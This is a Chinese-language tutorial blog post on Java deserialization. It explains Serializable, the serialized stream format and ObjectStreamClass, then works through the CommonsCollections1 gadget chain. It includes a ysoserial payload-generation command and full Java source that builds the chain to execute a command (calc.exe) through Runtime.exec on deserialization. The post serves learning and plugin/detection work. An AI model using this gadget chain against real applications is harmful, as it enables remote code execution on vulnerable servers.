Java反序列化-1-基础

很多语言都内建了序列化操作来提供对象的传输与持久存储,Java也不例外,而Java的反序列化可以说是Java中最常见的安全漏洞之一(其实是最近写插件经常遇到),于是记录一下。。

序列化与反序列化

关于序列化,首先说下整体情况:

  1. 序列化的目标是类的实例对象,一个类包含代码,类属性(静态属性)和对象属性,只有对象属性是独属于实例对象的,即只有对象属性需要被序列化。
  2. 这些对象的属性不一定都需要被序列化,而且也不一定都可以序列化,比如一些io handler是无法序列化的,另外就是可能由于某种原因(如安全考量)不可以直接序列化存储,而需要对数据进行一些加密等操作再序列化。即序列化的过程需要能够可控。
  3. 序列化的流可以用一套单独的结构来描述,这相对虚拟机字节码等做了一个抽象能够实现更好的兼容,也能实现对序列化流做静态解析。这种结构描述的序列化输出结构应该包含对象的数据,以及对象所属的类,只有这样才能在反序列化时知道这些对象的数据应该属于哪个类的实例对象,恢复出对应的实例以使用相应的类的(静态或非静态)方法及类的属性(静态属性)。
  4. 已经暗示但还需要强调,一般序列化和反序列化发生在不同的应用里,反序列化时需要根据输入的序列化流查找对应的类,对其进行实例化,再对产生的实例进行赋值操作,恢复数据,这里若是指定的类不存在于当前ClassLoader及其上层加载器里,且无法在ClassPath找到对应类,反序列化将会无法成功,即指定的要反序列化的对象在目标那里必须能找到对应的类。

Java有多种序列化方式,如

1
2
3
4
5
6
7
ObjectInputStream.readObject  // 内建的流转化为Object
ObjectInputStream.readUnshared // 内建的流转化为Object,使用非共享方式
XMLDecoder.readObject // 读取xml转化为Object
Yaml.load // yaml字符串转Object
XStream.fromXML // XStream用于Java Object与xml相互转化
ObjectMapper.readValue // jackson中的api
JSON.parseObject // fastjson中的api

本篇只对它内建的序列化机制说明,对于Java内建的序列化,它的实现为:

  1. 使用实现java.io.Serializable接口的方式来声明该类的属性会被序列化,该接口未定义任何功能,即用户只需要implement该接口即可,它会做的事是:该类的所有对象属性都会被序列化存储,该类的子类将会继承序列化特性,可以使用transient修饰对象属性以表明不对该属性进行序列化。另外用户可以实现writeObjectreadObject方法来自定义序列化与反序列化的过程。
  2. 另外可以使用java.io.Externalizable接口来声明该类的属性会被序列化,与Serializable不同,它默认不会序列化任何对象,需要用户自己实现writeExternalreadExternal方法以实现对指定对象进行序列化或反序列化。
  3. 使用java.io.ObjectOutputStreamwriteObject(或者writeUnshared,区别后面说)方法对对象进行序列化,使用java.io.ObjectInputStreamreadObject方法进行反序列化。

下面的例子用于演示一个序列化与反序列化的全过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.*;

class Person implements Serializable { //实现Serializable接口
public String lastName; //对象属性
static public String firstName; //类属性
transient int age; //短暂(不会被序列化)的对象属性

Person() {
age = 18;
firstName = "mao";
lastName = "beta";
}
}

public class SeriaTest {
public static void main(String[] args) throws Exception {
// 创建可序列化对象
Person mmz = new Person();
mmz.lastName = "B3ta";
mmz.firstName = "Ma0";
mmz.age = 20;
System.out.println(String.format("before:\tln:%s\tfn:%s\tage:%d", mmz.lastName, mmz.firstName, mmz.age));
//序列化操作
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(mmz);
//改变原数据值
mmz.lastName = "biubiu~";
mmz.firstName = "miao~";
mmz.age = 19;
//反序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
Person nmmz = (Person) ois.readObject();

System.out.println(String.format("after:\tln:%s\tfn:%s\tage:%d", nmmz.lastName, nmmz.firstName, nmmz.age));
}
}

它的输出为:

1
2
before:	ln:B3ta	fn:Ma0	    age:20
after: ln:B3ta fn:miao~ age:0

序列化流协议

流结构

在看别人插件时经常看到payload为16进制编码形式,通常以ACED0005开头,或者base64以rO0AB开头,这说明Java序列化不想php那么随性,根据官方文档,可以把流的层级关系表现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
stream:
magic version contents //magic: ac ed version: 00 05 它们组合为序列化流头部 后接序列化内容

contents: //下面是递归定义
content
contents content

content: //一个content可以是一个object或者blockdata,后者被用于。。。
object:
newObject:
TC_OBJECT classDesc newHandle classdata[] // data for each class
classDesc:
newClassDesc
nullReference
(ClassDesc)prevObject // an object required to be of type
// ClassDesc
newHandle: // 在非共享模式下,被序列化的对象引用的对象在被多次引用时只有第一次会被真正序列化(即此处)并为其生成一个序号(即newHandle),该序号从开始
// 递增,之后再遇到引用了已经被序列化的类时秩序要引用对应的handle即可(见下面的prevObject)
classdata:
nowrclass: values // SC_SERIALIZABLE & classDescFlag && !(SC_WRITE_METHOD & classDescFlags) 按类描述符顺序排列的字段
wrclass objectAnnotation // SC_SERIALIZABLE & classDescFlag && SC_WRITE_METHOD & classDescFlags
wrclass: nowrclass
externalContents: // SC_EXTERNALIZABLE & classDescFlag && !(SC_BLOCKDATA & classDescFlags readExternal使用
externalContent:
( bytes) // primitive data
object
externalContents externalContent
objectAnnotation: // SC_EXTERNALIZABLE & classDescFlag&& SC_BLOCKDATA & classDescFlags
endBlockData
contents endBlockData // contents written by writeObject
// or writeExternal PROTOCOL_VERSION_2.

newClass:
TC_CLASS classDesc newHandle
newArray:
TC_ARRAY classDesc newHandle (int)<size> values[size]
newString:
TC_STRING newHandle (utf)
TC_LONGSTRING newHandle (long-utf)
newEnum:
TC_ENUM classDesc newHandle enumConstantName
enumConstantName: (String)object
newClassDesc:
TC_CLASSDESC className serialVersionUID newHandle classDescInfo //普通类描述
className: (utf)
serialVersionUID: (long)
classDescInfo: classDescFlags fields classAnnotation superClassDesc
classDescFlags: (byte) // Defined in Terminal Symbols and Constants
fields: (short)<count> fieldDesc[count]
fieldDesc:
primitiveDesc: prim_typecode fieldName
objectDesc: obj_typecode fieldName className1
fieldName: (utf)
classAnnotation:
endBlockData:
TC_ENDBLOCKDATA
contents endBlockData // contents written by annotateClass
superClassDesc: classDesc
TC_PROXYCLASSDESC newHandle proxyClassDescInfo // 代理类描述由标志 接口数 接口名 类注解组成
proxyClassDescInfo:
(int)<count> proxyInterfaceName[count] classAnnotation
proxyInterfaceName: (utf)
superClassDesc
prevObject
TC_REFERENCE (int)handle
nullReference
TC_NULL
exception:
TC_EXCEPTION reset (Throwable)object reset
TC_RESET
blockdata:
blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
blockdatalong:
TC_BLOCKDATALONG (int)<size> (byte)[size]

如上,一个流由魔数,版本,内容组成,内容是递归定义的,总的来说一个对象由对象标志TC_OBJECT,类描述结构和对象属性组成,其中类描述结构ClassDesc最复杂,它会对普通类和动态代理类分开处理,一个对象的可序列化属性可能是其他对象,这些对象也会被序列化,在默认情况下只有第一次会被序列化,并为其生成一个handle,之后再遇到对该对象的引用只需引用该handle即可,在写插件的时候遇到的16进制的payload可以根据上面的格式进行分析,不过有专门的工具SerializationDumper已经实现了该功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# java -jar ysoserial.jar  CommonsCollections1 "ipconfig" > cc1  # 生成payload
# java -jar SerializationDumper-v1.1.jar -r cc1 # 解析payload

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 50 - 0x00 32
Value - sun.reflect.annotation.AnnotationInvocationHandler - 0x73756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572
serialVersionUID - 0x55 ca f5 0f 15 cb 7e a5
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Object - L - 0x4c
fieldName
Length - 12 - 0x00 0c
Value - memberValues - 0x6d656d62657256616c756573
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 15 - 0x00 0f
Value - Ljava/util/Map; - 0x4c6a6176612f7574696c2f4d61703b
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - type - 0x74797065
.....

此处,我们对照着sun.reflect.annotation.AnnotationInvocationHandler查看它的结构,可以看到它内部拥有各属性,继续向下看各属性又为其他对象,这样逆向就能看出该payload的原理,可以更方便的跟踪数据流,进行调试排错等。

ObjectStreamClass

对象序列化会使用ObjectStreamClass实例,该实例将会存储被序列化对象的各种信息,包括被序列化的域(对象属性),序列化UID,是使用Serializable还是Externalizable进行的序列化,序列化的类有没有实现一些特殊的方法等等,比如在java.io.ObjectInputStream.readObject()中有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
} else if (slotDesc.hasReadObjectMethod()) {  // 如果被序列化的有readObject方法
ThreadDeath t = null;
boolean reset = false;
SerialCallbackContext oldContext = curContext;
if (oldContext != null)
oldContext.check();
try {
curContext = new SerialCallbackContext(obj, slotDesc);

bin.setBlockDataMode(true);
slotDesc.invokeReadObject(obj, this); // 则调用readObject方法
....

它的hasReadObjectMethod就是依靠ObjectStreamClass在实例化时,使用如下语句实现的:

1
2
3
readObjectMethod = getPrivateMethod(cl, "readObject",
new Class<?>[] { ObjectInputStream.class },
Void.TYPE);//赋值readObjectMethod

反序列化漏洞

当反序列化的输入是可控的时,将可能导致反序列化漏洞:

  1. 浪费服务器资源造成拒绝服务
  2. 在如Cookie,User等处反序列化造成认证绕过
  3. 在利用链满足的条件下造成代码执行

此处之说第三点,它需要满足的条件是:

  1. 反序列化的输入点可控
  2. 目标上存在一个可序列化的类实现了private void readObject(java.io.ObjectInputStream in)方法
  3. 这个可序列化类上的readObject方法里有内容能够通过输入的序列化流控制,并能通过精心构造的利用链执行任意代码。

CommonsCollections1

上面已经说到,要由任意对象反序列化上升到远程代码执行上,需要目标系统的环境满足一些条件,这里以最广为人知的CommonsCollections1作为例子,它用到了commons-collections 3.1这个库,该库是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,它被广泛应用于各种Java应用的开发。(库通常是和应用绑定的,无法直接从升级系统来获取更新补丁,所以很多Java应用都可能引入它。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public static void main(String[] args) throws Exception {
// 如下,它会构造一个数组,该数组利用反射实现了如下功能
// Runtime.getRuntime().exec("calc.exe")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
// 将构造的对象传入ChainedTransformer构成新的对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 构造一个普通map并用decorate装饰为一个TransformedMap,它传入了上面构造的转换对象
// 新的outerMap对象在值被读取(读取被设置为了null)或修改时将会调用transformedChain对象里描述的方法
// 即这里利用反射在对象里加入了特定时候被调用的代码,算是在数据中嵌入了代码(这靠目标上的TransformedMap实现)
Map innerMap = new hashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 上面嵌入的代码需要使用setValue触发,但在实际环境中通常反序列化完成后就会进行类型转换
// 很显然自定义的类型无法转换为指定类型,代码无法向下继续执行,更无法触发setValue方法
// 因此,要用到另一个特性,readObject,在实现了该签名,可序列化,可在readObject里自动对其可序列
// 化的一个map读或写值,则可触发代码,如下的AnnotationInvocationHandler类刚好满足要求
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 此时instance对象在被反序列化时,会调用readObject方法,该方法内会对map做setValue操作
// setValue时会使用map的transform方法,它会根据ChainedTransformer一次调用条Transformer
// 即执行任意代码
Object instance = ctor.newInstance(Target.class, outerMap);

File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();

}

如注释所述,这条利用链主要分为两步,第一步构造任意代码执行的对象,第二不构造能触发第一步构造对象里的代码的对象,将它们封装在一起作为一个序列化对象输出,在目标对其反序列化时将会造成任意代码执行,事实上该例所示特性已经被当作漏洞被修复,但是Apache Commons Collections仍然存在其他数十种已知的利用链,而且其他库也可能存在利用链,从ysoserial中可以看到一些其他组件的利用链。

参考

  1. 《What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.》- breenmachine
  2. 《OWASP AppSecCali 2015 - Marshalling Pickles》
  3. Lib之过?Java反序列化漏洞通用利用分析